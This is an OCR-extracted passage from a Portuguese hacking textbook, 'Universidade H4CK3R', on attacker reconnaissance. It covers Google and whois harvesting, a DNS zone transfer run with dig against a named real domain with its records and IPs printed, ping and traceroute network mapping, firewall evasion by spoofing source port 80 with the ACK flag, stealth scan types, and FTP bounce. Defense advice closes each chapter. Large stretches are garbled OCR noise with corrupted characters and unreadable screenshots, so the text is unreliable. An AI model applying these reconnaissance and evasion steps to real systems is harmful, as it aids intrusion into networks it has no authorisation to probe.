Vejamos.

o Google seu amigo


impressionante como os robs desses mecanismos trabalham direito! Quem no sabe como o Alta Vista tem catalogado todos aqueles links merece uma explicao rpida. H dois tipos de mecanismos de busca: os catlogos (a traduo certa para directory, apesar de muitos traduzirem como diretrio...) e os baseados em robs. Catlogos so simples listas de sites que os prprios interessados inscrevem. Por exemplo, o Yahoo! hospeda sites em seu brao corporativo Geocities. Esses sites automaticamente entram no catlogo do Geocities, que adicionalmente aceita inscries em seu catlogo de sites externos. Quando inscrito, um programa-rob varre todo o site da pessoa e cadastra as palavras-chave do texto. Um site baseado em robs usa um programa parecido com o dos catlogos. A diferena que ningum precisa cadastrar nada: os robs farejam um link e saem seguindo esses links Internet adentro. Como as pginas normalmente chamam outras pginas, um trabalho sem fim. 12271

I Ataque, defesa e contra-ataque:

Observao

I Universidade

H4CK3R I

Isso posto, fcil imaginar que os robs um dia chegaro ao SEU website. Talvez voc ou sua emA A- -- _~I,,"Id.m... -i presa no tenha um website, mas GOCtO te'" jl<enrique Cesar Ulbrich I -GoogIo] seguramente usa e-mails e assi"""0 . GJ_-",w",Q ,,~, na listas de discusso. Ou acessa -,::r::l.~.l~ 'I ,~--,, ,~-~""'_.,.,_."''''''''''\>oU'''',20000,{'mo,,'" ",. ~~" a Usenet. Ou ainda se inscreve em Geoa."'",com. .,H_C_U_1J3I25aOOO "".,... ,"H"".Em ~d'" P.""_~I" outros sites pblicos, como o -g"""""""'_,,"'_3i,maOOOf3iOl. G"""""","_. deblan~<>Ortua""",' materia"""" """'. 00-. _lh~d,~__,"""""''''oL. """M ""."",,,. "'OM, H_eHotmail, e deixa seu perfil vis''',9'OC',_oomm._''''''31200'"I1)I_84,I. ,,,. _. """,s,m"'vel ao mundo. S a ttulo de exem{um ,_."" do~w oo","mW""" Iisl5.""""".oroJcjoormailismt>dlenJsmJ03-Fe""""" {)d.[ ,..,,'"' ,,," ""riM{ From --"_"."",,"'Moo''''314,''',112003 From, -"d___'" plo: eu (Henrique) no possuo {"_C_U-I Dato Moc'''' 3 "",,,.2003_um website prprio. Mas sou bas- "'.'m=""--'h!ili!!! ,"o m""'" ,].8",,'1, m ,.,"''''' " Ctante ruidoso na Internet; assino U""","--"_"",,,."'Moo'" 314,""11 OMT2003,... _~m",,,,,,,""'~'__I.200>-f,,,~,,'OOO3".hlm'.".~.", ,,, [Mo' ,u""oo '" "".~m".= j dezenas de listas e tenho alguns ,,_''''''00 "_C_U_--,,", artigos publicados em revistas e w_.R~,,_"" "'wby D.,., Enomtro do 0jornais. Uma pesquisa pelo meu nome resulta em:
'
I;

C_U""",",03I24>2000

1127,01-

u"""'"

DATE,"'~'1200'

00,11',

SUBJEC7 RE m."'.'{

"""""'

RdoL. .,.

ISOLUTION{ S10w crnooection wi1h smbdJentlWiI,dows

10 "'..me

, . [T..",,",

UM "'...w ]

R" H"''',<3oo"",

,"'_.""",'dabi~'_'-JI<,"~"OO'ldoorn,,."w.._200101Irn.,oooo2.htm'.

'"

"" Em ~'h<"

~.

--.,-~ ,

,.
"

--,,~._,---:"~::iI~,-~*~--

- ---~.._,'-~--,-'-""",'.n,.,'" -_o C_""""M"'''''''''''

'" le",~=",~=:I Gaog "-'_",-0_-_""-, , ,,~.."

Experimente procurar pelo seu nome, e pelo nome de sua empresa para ver o que voc disse e o que dizem de voc. Procure tambm pelos nomes de seus empregados, fornecedores, clientes.Voc ver que possvel angariar diversas informaes dessa forma. Todos os mecanismos de busca possuem refmamentos na procura. possvel procurar por formato de arquivo, data, ocorrncia, partes de URLsou mesmo pginas que apontam para uma URLem especial. Por exemplo, usamos o Google para procurar sites que apontam para a Conectiva (www.conectiva.com.br).
,,-..---

","" ,""""',""".. --'O~'-,_'_'_" '~"-~~-.'_""Hm._'-

C","""do"'Cd"'M,,,,i.~'

0_"'''''''0_00''_'__'''''--' --~-'~_W_~~-"~"--" "''''"",,''''''_'M~._''.~''''-"' ~~~cc1~::':":~~.~,,"'WM'''''''''~

._-~",.",""""","."",,"~-~,..

O resultado seria este: Observe o comando na rea de busca do Google. O "1ink:" funciona muito bem no Alta VtSta (www:altavista.com) e no AllThe Web (www:a1ltheweb.com),que tambm possuem diversas opes de busca avanada.

2281
Ataque, defesa e contra-ataque: Observao

Universidade 3 Ano

At tu, Brutus?
Mas o perigo pode estar em casa! Voc j olhou seu site pessoal ou o de sua empresa? Em uma garimpagem bem-feita (ajudado, pasme, pelo mecanismo de busca que o pessoal da Web colocou para auxiliar o internauta!!!), o atacante pode possivelmente angariar algumas dessas valiosas informaes: ~ Tecnologia: v pgina de TI do seu site. Quero ser mico de circo se o pessoal da rea no colocou uma lista completa com as tecnologias em uso. possvel que, at por questes contratuais, sua empresa seja obrigada a colocar um selo Powered By no site. Mesmo no sendo, a maioria dos sites possui. Empresas e funcionrios normalmente so orgulhosos das solues tecnolgicas que ajudam a implementar e ficam tentados a colocar informaes

comp1etssimasnos sites. Hackers adoram isso!

~ Relacionamentos: muitas empresas divulgam (intencionalmente ou no) informaes sobre seus parceiros, fornecedores, clientes e consultores. Muitos at colocam dados sobre a concorrncia! Algum pode estar usando as informaes do SEU site para atacar a empresa para a qual voc trabalha. Mesmo funcionrios costumam colocar informaes restritas em seus sites pessoais. ~ Informaes corporativas: cultura, linguagem, funcionrios importantes, premiaes, operrio-padro, f11iais, nomes, nmeros, ramais e e-mails de funcionrios... Esse o tipo de informao possvel de obter apenas pesquisando o site da empresa. Alm de facilitar ataques remotos, possvel personificar o "funcionrio-padro" da empresa para penetrar em suas instalaes tsicas. Uma vez dentro, o de sempre: engenharia social, sniffers, backdoors, roubo de documentos e mdias... ~ Notcias: cuidado com os comunicados de imprensa e notas publicadas como notcia em seu site. Informaes importantes podem vazar nas entrelinhas. Quem, como os hackers, est habituado a enfurnar-se em depsitos de lixo e caambas de detritos para angariar fragmentos de informao (sujos de Ketchup e papel higinico usado) no ter nenhuma dificuldade em pegar dados prontinhos organizados na rea de notcias do seu site e cruz-Ios entre si.

Quem esse cara?


Quem tem um domnio, teve de registr-Io em algum lugar. No Brasil, quem cuida dos registros de domnios a FAPESP(registro.br). Quando se faz o registro, as informaes so guardadas num banco de dados chamado whois (em portugus, "quem "). Cada domnio-raiz tem seu prprio banco de dados de whois. Por exemplo, os domnios .com, .mil e .edu (todos norte-americanos) tm seus prprios bancos de dados whois. Verificar o banco de dados whois muito fcil. V ao Registro.br e digite o domnio no campo correspondente.

12291
Ataque, defesa e contra-ataque: Observao

I Universidade

H4CK3R

Clique no boto PESQUlSAR.A janela Whois vai mostrar os dados de registro formatados nesse padro. Em nosso exemplo (o whois de digeratLcom.br), temos:

Bem-vindoao Regisuo.br Reg;..ro d. do";."'. p'" ".tem.'.o B,as' ~~;'~l;';;I,~I~...J~..Jc!!~l 1

I "",",,,,,I
,,,,,,,ight","'re." , ""' "'~" proot'dod f~ inf~oo''"1''''' , "".. .,.,.. j>ff~'in.M""", inf_oo.-, ~ , "''''''''''''in.._""""""""""..,,,,oo. ,,, ,,,,,,, ,,.,.,...,,,,,,,,..,,,,, ,,
2003-<)4-<181<),,,,21 (BRr ..",00)

v."""",."".,.,a",""" ,-,.,.,,,-. .R".........v... """"'''I>w~''''''' """'-"';'''';0 "~=,.-.,,. , ro..''',,, ,,"'."" R"''''. 00- ,. ""... -"" "~1I2OO3. C"" ""''''' .p,~=,."",~''',"-,""",,''. .T,"""00 R" '" ""a,","~"~~""'_d.. ",""<'<ONS. '-" 00l12000l C"""'."',, w""'_~"M """'"'N~M""".",,,."..,.~_"'R,,_.,,, W""'"'M""""M """"',. R.,.".""D.mi""" R.m"".oo ""..,. 30""'_", CNP./ICP'. Cio" ""''''' ~. ,"_~"M

N_.

PES<IU'5AR

~br

, onlyf~ ,,,,,., "",,,,""


,

M"",,, DigmC_i,,,,,,,. T"ool",i. "da doc_'.001.1<)7'''/OOO1-36

_n'.

DI""'TI.""."

"."."""", ""_",",,",,i .n""""" ... """". wbo. "'. 12AndM .n""""" 014".{)Q1'''' P",J. -"
,.1"'_, (D11) 3217-2600 [) ""',,...,.,""" "...i. """ ""mi", U\Nl3 "",,"',. """ _ioo,D''', 1151.""""'.""."

S na base de dados Whois temos a razo social da empresa, o nome completo dos responsveis por ela, endereos, telefones, e-mails...J uma excelente fonte de dados grtis. Mas atente para este detalhe:
servidor DNS:NS1.LQCAWEB.Co.!.BR
status DNS: 06/04/2003 AA ltimo AA: 06/04/2003 servidor DNS: NS2.LQCAWEB.Co.!.BR status DNS: 06/04/2003 AA ltimo AA: 06/04/2003 criado: 16/01/1998 #82624 alterado: llj03/2003 status: publicado

Noooossaaaa!!! J sabemos quais so os dois servidores de DNS que esse domnio usa. Apenas com os dados que garimpamos na Web, j somos capazes de fazer diversas malvadezas com o domnio.

Signyour name acrossmy heart


Todas essas informaes que vimos at aqui neste captulo foram obtidas exclusivamente usando seu navegador Web. Nenhuma ferramenta especial foi necessria, e voc no incorreu em nenhum crime, pois pesquisou em reas e bancos de dados pblicos. Mesmo assim, arrecadou informaes perigosssimas que podem colocar
em risco, se bem (mal?) usadas, toda uma corporao. Mas nem s aWeb nos d o servio. Agora que sabemos os endereos de todos os DNSs do domnio que queremos atacar, vamos dar uma olhada neles. No vamos discutir os fundamentos tcnicos sobre DNS. Se o leitor no souber como funciona um sistema de Domain Name Server, sugerimos o excelente livro DNS e BIND, de Paul Albitz e Cricket Liu (Editora O'Reilly). Assim como nos servidores de whois, o DNS possui informaes que, obrigatoriamente, devem estar abertas e disponveis ao grande pblico. Comunicao por e-mail, sites Web e servidores de FTP so trs exemplos de servios que, mesmo vivendo sem o DNS, dependem dele para dar aos usurios uma forma mais fcil de guardar endereos na Internet.

1230

I
Observao r

Ataque, defesa e contra-ataque:

Universidade 3 Ano

H ferramentas de linha de comando, tanto no Windows como no Unix, que podem recuperar informaes valiosas sobre DNS para os hackers. Adicionalmente, o Nessus um exemplo de scanner de vulnerabilidade que, entre outras coisas, recupera informaes de servidores DNS. O grande problema da tecnologia de DNS so as transferncias de zona ou zone transfers. Quando um provedor ou empresa pe no ar um sistema DNS, normalmente coloca mais de um servidor (posicionado em localidades diferentes) para atender aos programas que dependem dele. Um deles ser o DNS primrio, os outros sero secundrios ou escravos. O zone transfer um procedimento criado para transferir dados entre todos os DNSs daquele domnio ou zona (zona um conjunto de vrios domnios, ou antes, de vrios subdomnios num mesmo domnio). O que ocorre que apenas hosts autorizados deveriam poder fazer transferncias de domnios. Se meu DNS primrio 204.200.100.99 e meu secundrio 204.200.200.250, apenas o 250 poderia solicitar zone transfers do 99 e viceversa. Observamos, entretanto, que quase a totalidade de DNSs ao redor da Terra permite zone transfers solicitados a partir de qualquer n da Grande Rede. Um exemplo prtico. Em uma estao com linux, usaremos o comando digoEsse comando pode ser encontrado tambm em alguns Unix. Abra um terminal e digite: $ dig @NS1.locaweb.com.br digerati.com.br AXFR A sintaxe simples. O primeiro argumento o nome do servidor DNS(poderia ser tambm o nmero IP). O segundo argumento o domnio que se quer pesquisar e o terceiro (AXFR)indica que queremos fazer um zone transfer. A sada do comando :
; DiG 9.2.1

@NS1.1ocaweb.com.br
printcmd

digerati.com.br

AXFR

;; global options: digerati.com.br. admin.1ocaweb.com.br. digerati.com.br. digerati.com.br. digerati.com.br. digerati.com.br. digerati.com.br. ftp.digerati.com.br. smtp.digerati.com.br. pop.digerati.com.br. mail.digerati.com.br. www.digerati.com.br. wap.digerati.com.br. sqlserver.digerati.com.br. webmail.digerati.com.br. smtp-gw.digerati.com.br. digerati.com.br. admin.1ocaweb.com.br.

3600
8 O O O O O IN IN IN IN IN O O O O O O O O O

3600
8 3600

IN 3600 NS NS NS A MX IN IN IN IN IN IN IN IN IN IN 600 86400

SOA hm23. 600 86400 3600 NS1.1ocaweb.com.br. NS2.1ocaweb.com.br. NS3.1ocaweb.com.br. 200.246.179.102 10 smtp-gw.digerati.com.br. A 200.246.179.102 A 200.182.98.136 A 200.182.98.136 A 200.182.98.136 A 200.246.179.102 A 200.246.179.102 A 200.246.179.82 CNAME pop.digerati.com.br. A 200.182.98.155 SOA hm23. 3600

;; Query

time: 881 msec ;; SERVER: 200.246.179.123#53 (NS1.1ocaweb.com.br) ;; WHEN: Tue Apr 812:28:502003 ;; XFR size: 17 records

12311

] Ataque,

defesa e contra-ataque:

Observao

I Universidade

H4CK3R I

Creeedooo! Um simples comandinho nos disse que o servidor de SMTP da empresa est em 200.182.98.155, e que os servidores Web e FTP dividem a mesma mquina em 200.246.178.102 . No estamos considerando, por enquanto, interfaces de rede com mltiplos IPs, mas, de qualquer forma, a realidade pode ser um pouquinho diferente da que foi mostrada na lista. Mesmo assim, um excelente ponto de partida para fazer mais pesquisa, comear miniataques (lembra deles? 1234 1234...) e elaborar seu plano de ao. Outros exemplos de ferramentas para fazer zone transfers so o j citado Nessus (com verses para Unix e Windows), o host, disponvel na maioria dos Unix, e o veterano nslookup, presente tanto em Unix como no Windows. Note que o nslookup para Linux no faz zone transfers!

Defesa e contra-ataque
Infelizmente, no h muito como se defender de informaes obtidas por meio de bancos de dados whois. As informaes desse servio devem estar disponveis universalmente, portanto no h o que fazer. Casos recentes de defacements (como o do site da Digerati Editorial) foram possveis usando as informaes obtidas por whois e, depois, com um pouco de engenharia social, obtidas as senhas para alterao do DNS. um tpico caso de falha humana. O problema no foram as informaes de whois, mas as senhas fracas e a vulnerabilidade social. J os zone transfers de servidores DNS podem, sim, ser evitados. Crie regras em seu servidor para restringir zone transfers apenas entre servidores DNS do seu domnio, bem como dos root-DNS-servers. Como no h nada de ilegal nas atividades do black hat at aqui, pois as informaes obtidas so todas pblicas, no h como lanar um contra-ataque. Mesmo porque, devido ao trfego gigantesco, rastrear acessos a servidores de whois e DNS tarefa impossvel. Mas, SIM! possvel tomar medidas preventivas (alm de restringir o zone transfer - isso muito importante!) para evitar que informaes desnecessrias vazem para a Internet. Entre elas:
~ Faa uma faxina em casa! Vasculhe seu site e retire tudo o que pode dar, indevidamente, informaes confidenciais ou restritas que possibilitem um ataque.

~ Crie polticas sobre o que pode ser publicado no site e veiculado por e-mail. Crie punies (infelizmente, necessrias) caso algum funcionrio ponha em risco a empresa divulgando o que no deveria. E nada de colocar bandeirinhas com "Powered by Windows NT4" ou "Running Linux 2.2".

12321
Ataque, defesae contra-ataque: Observao[

Universidade 3 Ano

Faa campanhas preventivas, alertando os usurios de e-mails para o perigo de enviar dados internos da companhia para fora. Pegue aquela pesquisa que voc fez na Web com os nomes ou e-mails de seus funcionrios e monte uma apresentao para ilustrar suas campanhas.

12331

] Ataque. defesa

e contra-ataque:

Observao

Ataque, defesa e contra-ataque:

usca
Captulo

12
e, o que busca, acha.
"

PedI; e dar-se-vos-; busca;' e achareis; bate;' e abrir-se-vos-. Porque, todo o que pede,
recebe;

(Mateus,VII: 7-111

I Universidade

H4CK3R

Assim como os militares, que usam os servios de inteligncia para elaborar relatrios sobre o alvo e s depois vo a campo para observ-Io, ns tambm tivemos de angariar todas aquelas informaes, elaborar planos de ao e fazer um roteiro de ataque. Nesta nova fase, faremos o que os militares chamam de reconhecimento: conferir os dados obtidos, preencher eventuais lacunas, corrigir distores e obter dados de reas antes inacessveis. Lembre-se: depois de voltar das buscas, realimentaremos nosso roteiro com as informaes obtidas. Nunca fuja do 1-2-1-3-1-4-1-5-1-6-1!

Cartografia aplicada Internet


Chegou a hora de descobrir como a rede de nossa vtima. O hacker usar ferramentas de scanning, como as que vimos em Vulnerabilidades I e 11,para testar a rede e descobrir, primeiro, como ela montada (topologias, sistemas de firewalI e IDS, servidores e estaes - incluindo a seus sistemas operacionais) e fazer um mapa o mais detalhado possvel do que, para ele, ainda so "mares nunca dantes navegados". Vamos comear com um diagrama simples:

Rede Privada

~~
192.168.3.0

192.168.4.0

200.xxx.10.20 SMTPtPOP

200.xxx.20.30 Servios Diversos

200.xxx.20.10 SQLServer

2361
Ataque, defesa e contra-ataque: Busca [

Universidade 3 Ano

Em nosso diagrama, o hacker ainda no conhece os computadores de nossa rede, representados em cor esmaecida. No decorrer deste captulo, medida que ele for identificando as diferentes mquinas em nossa rede, as estaes vo ficando ntidas. Posteriormente, computadores "ownados" (ou seja, j invadidos pelo hacker) sero representados pelo cone "doente". Observe que h um f1ltro de pacotes e um proxy, guisa de firewall. Essa configurao cria a chamada Zona Desmilitarizada ou DMZ. Nela, os servidores com acesso pblico permitido (Web, FTP,SMTP...) ficam "protegidos" pelo f11trode pacotes, que bloqueia (ou deveria bloquear) qualquer comunicao vinda de fora e que no seja destinada a servios especficos dos servidores. Mesmo conexes a servidores deveriam ser bloqueadas: uma conexo na porta 80 (HTTP) s permitida se o seu destino for realmente o servidor Web e no o de SMTP.Conexes de fora em direo rede interna, nem pensar... O proxy, que fica na borda entre a rede interna e o DMZ, traz uma camada adicional de segurana e evita que as estaes internas conectem-se Internet. Do contrrio, elas conectam-se ao proxy e ele (apenas ele) "fala"com a Internet. Com esse artifcio, para quem v de fora, a rede interna composta, apenas e to-somente, pelo proxy. O prprio proxy pode ser invadido e essas restries contornadas, mas isso conversa para mais adiante.

Varre, varre, vassourinha...'


Todos lembram do Nmap e do Nessus? Eles so timos. Praticamente tudo o que precisamos para descobrir coisas nas redes dos outros pode ser conseguido com essas duas ferramentas. Mas, para fms didticos, vamos usar duas das ferramentas mais bsicas e presentes em todos os sistemas operacionais que possuam algum suporte a TCP1IP.Essas ferramentas so o ping e o traceroute (tracert no Windows). O ping um programa minsculo que faz uma nica coisa na vida: manda um pacote ICMPEcho Request (veja em Redes 11)para verificar se um determinado IP existe ou se a mquina que possui aquele IP est on-line. Assim, podemos testar toda a faixa de IPs designada para aquela empresa ou organizao,parasaberquaisdessesIPs Todos os Ips representam mquinas ligadas diretamente na Internet. 200.xxx.l0.n Uma vez com a lista de IPs "vivos"na mo, o hacker fazum desenho parecido com este:

aO ~o
~

8
8

200.xxx.20.10
1 jingle da campanha presidencial de jnio Quadros, em 1956.

(j)

12371

] Ataque, defesa

e contra-ataque:

Busca

I Universidade H4CK3R I

Cada um dos crculos representa um dos IPs.Voltando ao nosso diagrama de redes, a viso que o atacante tem de nossas mquinas esta:

Proxy+ Gateway
::::;

[] Hackerno v
Hacker v

" ~ " ~ iP ~
::::;

.~

200.xxx.l0.2

::::;

::::;

200.xxx.l0.20 SMTP+PDP

.~.~

lI'

.~..

200.xxx.20.30 Servios Diversos

200.xxx.20.10 SQl Server

Agora, o traceroute/tracert utilizado em cada um dos IPs descritos. A sintaxe bem simples: traceroute -n IP.QUE.QUEREMOS.VERIFICAR.A sada de um traceroute se parece com esta:
1 2 3 4 5 6 7 192.168.1.162 0.524 ma 0.235 ma 0.204 ma 200.204.171.155 1.084 ma 1.040 ma 1.028 ma 200.204.174.122 11.322 ma 18.636 ma 272.474 ma 200.207.199.121 602.530 ma 513.476 ma 524.081 ma 200.205.255.219 559.810 ma 531.438 ma 610.651 ma 200.205.255.212 817.968 ma 596.748 ma 576.567 ma 200.205.254.134 527.308 ma 523.359 ma 548.114 ma . .. (continua)

o parmetro -n apenas para evitar que o traceroute procure por nomes DNS dos IPs mostrados. O hacker deve, diligentemente, anotar (ou gravar e imprimir) todas as sadas do traceroute para todos os IPs que ele descobriu com o pingo Se tentar seguir essa lista de trs para frente, vai perceber que muitas das mquinas esto encadeadas. Em nosso exemplo, vemos que a sada do traceroute do host 200.xxx.1.1O nos diz que a mquina anterior a 200.xxx.1.1. Ora, isso quer dizer que as mquinas esto ligadas! Em nosso diagrama:
~38 I
Ataque, defesa e contra-ataque: Busca r

Universidade 3 Ano

8
Todos os IPs 200.xxx.l0.n

200.xxx.20.10

Cruzando os dados de todos os traceroutes, o hacker ter a seguinte viso:

200.xxx.l0.20

SMTP+POP

200.xxx.20.30 Servios Diversos

200.xxx.20.10

SGLServer

12391

] Ataque, defesa

e contra-ataque:

Busca

I Universidade

H4CK3R I

Argh! Mas isso d trabalho!


Quer moleza? V sentar no pudim! Alis, existem algumas ferramentas que fornecem o pudim pra voc. Uma delas o LAN Surveyor, da empresa LAN Software (www.neon.comlTutorials/LStourMAP.html). Mas, em qualquer situao, a melhor ferramenta (disponvel apenas para Unix) o Cheops (www.marko.net/cheops). Alm de ter uma interface bonita e funcional, o Cheops faz o servio sujo pra voc. Este screenshot (retirado do site oficial) melhor que qualquer exemplo que pudssemos preparar:

phY,is

20~.230.721!p 201.23{,72.$

Como voc pode perceber, o Cheops automatiza os procedimentos com ping e traceroute (que tm de estar presentes no sistema) e ainda usa tcnicas de fmger printing (que veremos adiante) para adivinhar o sistema operacional de cada n.

Procurando portas abertas


Em ambos os captulos de Vulnerabilidades, vimos algumas ferramentas para verificar se h servios "escutando" em portas TCP ou UDP.Naquele momento, vimos o portscanning como um processo isolado. Agora que sabemos onde se insere no desenvolvimento de nossas buscas, podemos dar mais ateno a ele. Embora existam centenas de portscanners por a, indiscutivelmente o Nmap o que traz uma melhor relao custo!benefcio: gratuito, possui um bom conjunto de testes e est em desenvolvimento contnuo.

12401
Ataque, defesa e contra-ataque: Busca [

Universidade 3 Ano Para saber as opes do Nmap, veja a pgina de manual (man nrnap) ou o Help da verso Windows. As verses com frontends (Windows e Unix) possuem, no painel de controle, chaves para quase todos os testes e uma barra de status na qual mostrado como ficaria a linha de comando. No vamos entrar em detalhes de utilizao do Nmap aqui. Em vez disso, vamos falar sobre as formas diferentes de "torcer" o handshake TCP. O comando Nmap rodado sem argumentos faz uma conexo completa na porta testada, o que quer dizer que todo o handshake TCP respeitado. Obviamente, esse scan extremamente ruidoso e facilmente detectvel.

Escolhendo as portas de origem


Algumas redes permitem que certas portas de origem possam originar conexes de fora da Internet. Como vimos, em Redes 11,os f1ltros de pacotes que funcionam como firewalls barram conexes vindas da Internet baseadas em regras. Entre as regras mais comuns e manjadas est aquela que barra todas as portas no privilegiadas (ou seja, maiores que 1023) vindas de fora para dentro da rede. Com isso, o administrador pensa que est protegendo sua rede de conexes originadas da mquina dos hackers. Ele pode at pensar, mas pensa errado! Nada impede que os hackers manipulem as portas de origem de seus pacotes TCP e UDP enviados ao firewall da vtima, fazendo-o pensar que so respostas vlidas a requisies vindas de dentro da rede. O exemplo clssico a porta 80. Se o black hat combinar a utilizao de 80 como sua porta de origem (os portscans dignos desse nome permitem isso) com o flag ACK acionado, o bobalho do firewall vai pensar que este um pacote vlido - e o deixar entrar.

Firewall (filtro de pacotes)

18

12411

]Ataque, defesa e contra-ataque:

Busca

I Universidade

H40~3R

Outras portas que podem ser de interesse: 20 (resposta de FTP), 21 (requisio de FTP), 25 (resposta de SMTP), 53 UDP e 53 TCP (requisio e resposta de DNS) e 666/667 TCP e UDP (resposta do servidor de Doom e Quake - tenha certeza, seu administrador deixou estas abertas para jogar noite). Veja bem: estamos falando de portas de origem. As portas de destino sero escaneadas. Talvez um estudo da RFC1700 (www.ietf.org/rfc.hyml) seja revelador. Para encontrar quais portas o firewall est deixando passar alm dessas bvias, podemos usar padres de fmgerprinting (que veremos mais frente), combinados com as tcnicas de traceroute e ping, para descobrir como funcionam as regras dos firewalls. No h muitos softwares bons que fazem isso, mas um digno de nota. Existe exclusivamente para Unix e se chama FirewaIk. Disponvel em www.packetfactory.net/firewalk/. possui uma documentao que, se no grande, pelo menos bem completa. Com o Firewalk, fica muito fcil determinar as portas abertas de um filtro de pacotes funcionando como firewall e, depois, aplicar portscans direcionados s mquinas internas passando por essas portas no filtradas.

Varrendo sob o tapete


H vrias formas de usar portscanners para verificar as portas abertas. J conhecemos o handshake completo e a conexo por ACK (vistos em Redes ll).Abaixo, segue uma lista completa das possibilidades usando os flags do Tcp, e, de quebra, um scan UDP: TCP Conneet Sean: scan facilmente detectvel, executa os trs handshakes bsicos (SYN, SYN/ACK e ACK). O sistema realmente completa a conexo entre o servio sendo escaneado e o scanner - e, para isso, informaes completas sobre o aplicativo-cliente (o scanner) so passadas ao servidor (o servio). TCP SYN Sean: Conhecido como half-open scanning, devido conexo total TCP durante a operao. Dessa forma, ele evita que o log da operao fique no sistema. Normalmente, o programa envia um pacote SYN para a porta alvo. Se recebido um SYN/ACK do alvo, o programa deduz que a porta est no modo de escuta; caso seja um RST/ACK, significa que a porta no est ativa naquele momento. UPD Sean: Trata-se de um dos processos mais lentos e imprecisos de scanning, pois depende de fatores de utilizao da rede e de recursos de sistema. O scanner envia um pacote UDP para a porta alvo: se a resposta for ICMP port unreachab1e, a porta encontra-se fechada; caso contrrio, o scanner deduz que a porta est aberta. TCP Null Sean: Neste caso, o scan desativa todos os flags e aguarda do alvo um RST, que identifica a porta como fechada. Se nada responder, a porta pode estar aberta (mas no certeza). TCP FIN Sean: O scanner envia pacotes FIN para a porta alvo e espera o retorno de um RST, identificando as portas fechadas. Se nada responder, a porta pode estar aberta (novamente, sem nenhuma certeza). TCP Xmas Sean: O scanner envia pacotes FIN, URG e PSH para a porta alvo e espera o retorno de um RTS para portas fechadas. Nenhuma resposta indica possvel porta aberta.

2421
Ataque. defesa e contra-ataque: Busca [

Universidade 3 Ano

Impresso

digitaL na Web

Identificar o sistema operacional que est rodando no n especificado primordial para explorar as vulnerabilidades possivelmente presentes. A tcnica usada na determinao do SO dos hosts chama-se fmger printing (ou, coleta de impresso digital). possvel enviar, seqencialmente, todos os testes TCP e UDP descritos para as portas de um n. Dependendo da maneira como responde, possvel saber qual sistema operacional est rodando naquele host. O Cheops e o Nmap fazem isso magistralmente. Procure a documentao de ambos para saber como us-los e como interpretar os resultados. Para saber mais sobre como ftrnciona o finger printing, procure por finger printing os determination ou por tep udp fingerprinting em seu mecanismo de buscas favorito.

Tem mais?
H diversas tcnicas de portscan. Relacionar todas no seria possvel em um livro de 350 pginas como este. Mas relacionamos abaixo mais alguns tipos, cuja descrio pode ser facilmente encontrada na Internet. ~ FTP Bounee: usa uma caracterstica antiga dos servidores FTp' que a possibilidade de utilizar um servidor FTP como intermedirio a fim de enviar um arquivo para uma terceira mquina. Como possvel controlar em qual porta ser feita a conexo, pode-se, manualmente, varrer todas as portas da terceira mquina (a vtima) at conseguir conexo. Na vtima, estar registrado o IP do servidor FTP e no do hacker. Tambm chamado de FTP forwarding. ~ Falhas de RCP: j falamos sobre Remote Procedure Calls em Redes I. Todos os sistemas operacionais possuem alguma implementao de servios RPC, e praticamente todos tm alguma que responda incorretamente a uma conexo, revelando que aceita a conexo (apesar de no necessariamente ser vulnervel). Procure por RPC Sean e RPC Exploit.

Procurando brechas
J falamos alguma coisa sobre furos de segurana nos dois captulos sobre vulnerabilidades. O que um scanner de vulnerabilidade faz, normalmente, testar cada um dos servios oferecidos de acordo com padres preestabelecidos. Caso o sistema responda tambm de acordo com padres reconhecidamente pertencentes s verses falhas, o scanner o reporta como "bugado" e, portanto, possivelmente vulnervel.Todos os fmgerprints (tanto de solicitao quanto de resposta) esto guardados em bancos de dados cuja atualizao constante e contnua. Havamos preparado, para esta seo, um texto muito extenso, didtico e facilmente digervel sobre diversos scanners de vulnerabilidades. Mas, olhando para aquilo tudo, pensamos: "estamos negando ao leitor a oportunidade de aprender". De fato, se dssemos o peixe, estaramos condenando-o a ser um script kiddie para o resto da vida. Se o ensinssemos a pescar, ainda assim no haveria opor-

12431

] Ataque, defesa

e contra-ataque:

Busca

I Universidade

H4CK3R I

tunidade para pensar, raciocinar e ver como as coisas funcionam. Portanto, em vez de dar o peixe ou ensin-Io a pescar, decidimos apenas mostrar-lhe o lago. As varas de pesca esto l. Ponha a cuca para funcionar, a mo na massa e aprenda um pouco sozinho! Os endereos das duas "varas de pesca" mais famosas encontram-se abaixo. Estude-as completamente, lendo toda a sua documentao e procurando mais informaes na Internet. Se ficar em dvida, pea ajuda! H muitos grupos de discusso sobre redes com pessoas dispostas a ajudar - voc pode encontrar o endereo de alguns nos captulos sobre redes. Se voc procurar bem, ver que pode ler e aprender muita coisa antes mesmo de colocar os dedos no teclado para escarafunchar nos buracos de algum (sem trocadilho, por favor!). ~ Nessus: www.nessus.org ~ Gherkin: www.altmode.com/gherkin/ Adicionalmente, buscas na Internet vo lhe mostrar diversas ferramentas (livres ou no) de scanners de vulnerabilidade.Voc ver coisas como COPS,SAINT, NetSaint, SARA,VLAD,NetSonar... Brinque primeiro com os dois sugeridos. Depois que se cansar deles, baixe (ou compre, se for o caso) os outros e divirtase mais um pouquinho. Hackerismo isso: aprenda fazendo. Pense!

Defesa e contra-ataque
Para defender-se de hackers (ou kiddies) que varrem sua rede o tempo todo, necessrio obedecer a algumas regras fundamentais: ~ Atualize seu sistema! Sistemas desatualizados so grandes fontes de problemas, no apenas de segurana, mas de estabilidade tambm. Seu fornecedor de tecnologia normalmente oferece atualizaes gratuitas quando a falha deles. No deixe passar! ~ Dispare um scan contra voc mesmo. No espere que um hacker descubra que voc usa um IIS vulnervel falha de Unicode ou um Sendmail com o conhecido Sendmail Bug. Ou pior: que seu fl1"ewall um queijo suo. Os scanners esto a para ajud-Io. Use-os! ~ Desligue os servios desnecessrios. Se voc montou um servidor Web, que serve apenas para isso, por que vai querer um SMTPescutando na porta 25, um POP na porta 110 e um X na 6OO0? Deixe rodando apenas o que efetivamente ser usado. No s para deixar menos portas para o hacker usar, como tambm porque voc vai se esquecer dele e no aplicar os patches de segurana pertinentes. ~ Revise seu firewalI. Se os seus scans esto passando, seu firewall precisa de uma reviso. Considere trocar o f11trode pacotes comum por um orientado a estados e melhore as ACLs do proxy no lado de dentro do DMZ.Alis, voc tem um DMZ, no tem? ~ Instale sistemas de deteco de intmsos, ou IDS.Veremos sistemas IDS nos apndices no CD-ROM. Mas importante instalar um desses para garantir que seus logs sero preservados e qualquer invaso seja prontamente rastreada.

12441
Ataque, defesa e contra-ataque: Busca [

Universidade 3 Ano

